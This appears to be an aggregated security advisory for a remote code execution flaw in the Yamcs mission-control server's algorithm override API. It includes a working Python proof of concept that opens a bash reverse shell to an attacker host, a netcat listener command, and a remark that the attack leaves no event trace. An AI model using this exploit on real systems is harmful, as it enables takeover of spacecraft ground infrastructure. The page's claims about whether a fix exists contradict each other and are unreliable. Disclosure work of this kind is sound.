Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override
Description
# Remote Code Execution via Mission Database algorithm override
Summary
The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.
Details
Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java
// L46-53 Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
.filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
&& candidate.getNames().contains(language))
.findFirst().orElse(null);
if (factory != null) {
scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied
}
// L109 user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);
NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.
The path from HTTP request to eval is: MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189) → AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559) → ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117) → scriptEngine.eval(...).
PoC
Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).
Attacker-side listener: `` nc -lvnp 4444 ``
#!/usr/bin/env python3
"""
Usage: python3 .py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request
TARGET = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = int(sys.argv[3])
INSTANCE = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"
# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
'} '
'Java.type("java.lang.Runtime").getRuntime().exec('
f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
'function _x(){'
)
patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"
def http(method, url, body=None):
req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
method=method, headers={"Content-Type": "application/json"})
return urllib.request.urlopen(req, timeout=10).read()
http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})
The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.
Impact
Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.
For a Yamcs deployment managing spacecraft operations, an attacker can: - forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission; - read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration); - pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services); - install a persistent backdoor via the same primitive.
Who is impacted: - All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090). - Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.
Affected
Versions
All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.
- First vulnerable release:
yamcs-4.7.3(2018-11-22). Introduced in commit951e505d18a3912813b59edc685cbcbd4c609906("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added theChangeAlgorithmRequestRPC (later renamedUpdateAlgorithmRequest) and routed it asPATCH /api/mdb/{instance}/{processor}/algorithms/{name*}. - **Routing change at
yamcs-5.5.0** (2021-04): the endpoint was split out ofMdbApiintoMdbOverrideApiand moved toPATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlyingscriptEngine.eval(...)sink and the missingClassFilterare identical. - Latest release:
yamcs-5.12.6(commitf1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java,AlgorithmManager.java,ScriptAlgorithmExecutorFactory.java,SecurityStore.java) are unchanged between5.12.6and currentmaster(96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.
In short: **every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable** (133 release tags spanning 2018-11-22 to present).
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Unauthenticated remote code execution in Yamcs via Nashorn ScriptEngine without ClassFilter in algorithm override.
Vulnerability
The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter in ScriptAlgorithmExecutorFactory.java (lines 46–53). This allows a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication. All Yamcs versions prior to the security update released on 2026-05-27 are affected [1][2].
Exploitation
An attacker needs network access to a Yamcs deployment that has at least one JavaScript CustomAlgorithm in its Mission Database (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg). The attacker sends an HTTP request to MdbOverrideApi.updateAlgorithm with a malicious algorithm text. The JavaScript payload uses Java.type("java.lang.Runtime").getRuntime().exec(...) to execute arbitrary OS commands inside the Yamcs JVM. The request flows through AlgorithmManager.overrideAlgorithm to ScriptAlgorithmExecutorFactory.makeExecutor, which calls scriptEngine.eval(functionScript) without a ClassFilter [1][2].
Impact
Successful exploitation allows an attacker to execute arbitrary operating system commands with the privileges of the Yamcs server process. This leads to full compromise of the server, including data exfiltration, modification, or denial of service. The impact is critical due to the potential for complete system takeover [1][2].
Mitigation
Yamcs has released a security update that fixes the vulnerability by supplying a ClassFilter to the Nashorn ScriptEngine. Users should upgrade to the patched version immediately (see reference [2] for details). As a workaround, administrators can configure a security.yaml file to restrict the guest user's privileges or disable the algorithm override functionality if not required. The vulnerability is not yet listed in CISA's Known Exploited Vulnerabilities (KEV) catalog [1][2].
AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.yamcs:yamcs-coreMaven | < 5.12.7 | 5.12.7 |
Affected products
2Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The Nashorn ScriptEngine is constructed without a ClassFilter, so user-supplied JavaScript can call Java.type() to reach any Java class, including java.lang.Runtime, enabling arbitrary OS command execution."
Attack vector
An attacker sends a PATCH request to `/api/mdb-overrides/{instance}/{processor}/algorithms/{name*}` with a crafted algorithm text payload [ref_id=1]. The payload closes the generated wrapper function, inserts a call to `Java.type("java.lang.Runtime").getRuntime().exec(...)`, and opens a dummy function to satisfy the parser [ref_id=1]. The request flows through `MdbOverrideApi.updateAlgorithm` → `AlgorithmManager.overrideAlgorithm` → `ScriptAlgorithmExecutorFactory.makeExecutor` → `scriptEngine.eval(functionScript)` without any ClassFilter restriction [ref_id=1]. In the default configuration (no `security.yaml`), the built-in `guest` user has `superuser=true`, so no authentication is required [ref_id=1]. When security is enabled, any user with the `ChangeMissionDatabase` privilege can trigger the attack [ref_id=1].
Affected code
The vulnerable file is `yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java` [ref_id=1]. At lines 46-53, the Nashorn `ScriptEngineFactory` is obtained and `factory.getScriptEngine()` is called without a `ClassFilter` argument [ref_id=1]. At line 109, `scriptEngine.eval(functionScript)` evaluates user-supplied algorithm text [ref_id=1]. The call chain is: `MdbOverrideApi.updateAlgorithm` → `AlgorithmManager.overrideAlgorithm` → `ScriptAlgorithmExecutorFactory.makeExecutor` → `scriptEngine.eval(...)` [ref_id=1].
What the fix does
No upstream fix exists — the advisory states that the four vulnerable files are unchanged between the latest release (5.12.6) and current master [ref_id=1]. The remediation guidance is to supply a `ClassFilter` to `NashornScriptEngineFactory.getScriptEngine()` that restricts which Java classes the JavaScript engine can access via `Java.type(...)` [ref_id=1]. Without this filter, any Java class — including `java.lang.Runtime` — is reachable, allowing arbitrary OS command execution inside the Yamcs JVM [ref_id=1].
Preconditions
- configThe target Yamcs deployment must have at least one JavaScript CustomAlgorithm in its MDB (e.g., the simulator example MDB includes several)
- authIn default configuration (no security.yaml): no authentication required, any network attacker reaching HTTP API port (default 8090)
- authWith security enabled: attacker must have the ChangeMissionDatabase system privilege
- networkNetwork access to the Yamcs HTTP API endpoint
- inputAttacker supplies a crafted algorithm text payload via PATCH request
Reproduction
Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as `/YSS/SIMULATOR/Battery_Voltage_Avg`). Start an attacker-side listener: `nc -lvnp 4444`. Then execute the PoC script: `python3 poc.py http://target:8090 LHOST LPORT`. The script sends a PATCH request with a crafted payload that closes the generated wrapper function, executes a reverse shell via `Java.type("java.lang.Runtime").getRuntime().exec(...)`, and opens a dummy function to satisfy the parser [ref_id=1]. After a 2-second delay, it sends a RESET action [ref_id=1]. The payload succeeds silently — no event is fired because events are only emitted on evaluation failure [ref_id=1].
Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.